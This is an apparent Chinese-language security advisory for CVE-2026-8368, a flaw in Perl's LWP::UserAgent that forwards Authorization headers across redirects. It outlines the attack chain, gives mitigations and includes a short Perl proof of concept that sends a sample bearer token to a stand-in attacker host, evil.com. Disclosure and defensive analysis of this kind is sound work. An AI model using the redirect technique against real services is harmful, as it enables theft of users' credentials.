IPBUF安全漏洞报告
English
CVE-2026-8368 CVSS 6.5 中危

CVE-2026-8368 LWP::UserAgent重定向凭据泄露漏洞

披露日期: 2026-05-12
来源: 9b29abf9-4ab0-4765-b253-1875cd9b441e

漏洞信息

漏洞编号
CVE-2026-8368
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Perl LWP::UserAgent (libwww-perl)

相关标签

信息泄露PerlLWP::UserAgentlibwww-perlHTTP重定向CWE-200

漏洞概述

Perl的LWP::UserAgent库在6.83版本前存在安全漏洞,该组件在处理跨源重定向时未能正确清理HTTP头部。当遇到3xx响应时,它仅移除Host和Cookie,却保留了Authorization和Proxy-Authorization头部。这导致原始请求中的敏感凭据会被发送至重定向目标,若目标由攻击者控制,攻击者即可窃取用户的认证信息,造成严重的信息泄露风险。

技术细节

该漏洞的核心在于LWP::UserAgent对HTTP重定向处理逻辑的缺陷。在标准的HTTP客户端安全模型中,当发生跨域重定向时,应当剥离包含敏感信息的头部,特别是Authorization和Proxy-Authorization头部,以防止凭据泄露给不可信的第三方。然而,在受影响的libwww-perl版本中,重定向处理函数仅针对Host和Cookie进行了清理,忽略了对认证头部的处理。攻击者可以诱导使用受影响库的应用程序发起一个携带认证信息的请求。服务器响应一个指向攻击者控制域名的3xx重定向。由于库未清理认证头部,应用程序会自动跟随重定向,并将原始的Authorization头完整发送给攻击者服务器。攻击者捕获这些头部后,即可利用受害者的凭证接管账户或访问后端服务。

攻击链分析

STEP 1
步骤1:诱导请求
攻击者诱导受害者应用程序使用LWP::UserAgent向特定URL发起请求,该请求携带了Authorization或Proxy-Authorization头部。
STEP 2
步骤2:恶意重定向
服务器响应HTTP 3xx状态码(如302 Found),并将Location头部指向攻击者控制的服务器地址。
STEP 3
步骤3:自动跟随
受影响的LWP::UserAgent版本自动跟随重定向,由于漏洞未清理认证头部,它将原始的Authorization头发送给了新的Location目标。
STEP 4
步骤4:凭据窃取
攻击者控制的服务器接收到包含敏感凭据的请求,并将Authorization头部内容记录下来,完成窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; # Create a vulnerable user agent instance my $ua = LWP::UserAgent->new; # Simulate setting sensitive credentials my $secret_token = "Bearer secret-admin-token-12345"; $ua->default_header('Authorization', $secret_token); # The attacker controls 'evil.com' and sets up a redirect # to 'attacker-controlled-server.com/log' my $malicious_url = 'http://evil.com/redirect'; print "[*] Sending request to: $malicious_url\n"; print "[*] Request contains Authorization: $secret_token\n"; # The vulnerable LWP::UserAgent will follow the redirect # and send the Authorization header to the new host my $response = $ua->get($malicious_url); if ($response->is_success) { print "[+] Response received: " . $response->status_line . "\n"; } else { print "[-] Error: " . $response->status_line . "\n"; } # Note: In a real exploit scenario, the server at the redirect target # would log the incoming Authorization header.

影响范围

libwww-perl < 6.83

防御指南

临时缓解措施
如果无法立即升级,建议在应用程序代码中禁用LWP::UserAgent的自动重定向功能(设置 requests_redirectable 为空数组),或者手动拦截重定向响应,在发起新请求前显式删除Authorization和Proxy-Authorization头部。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表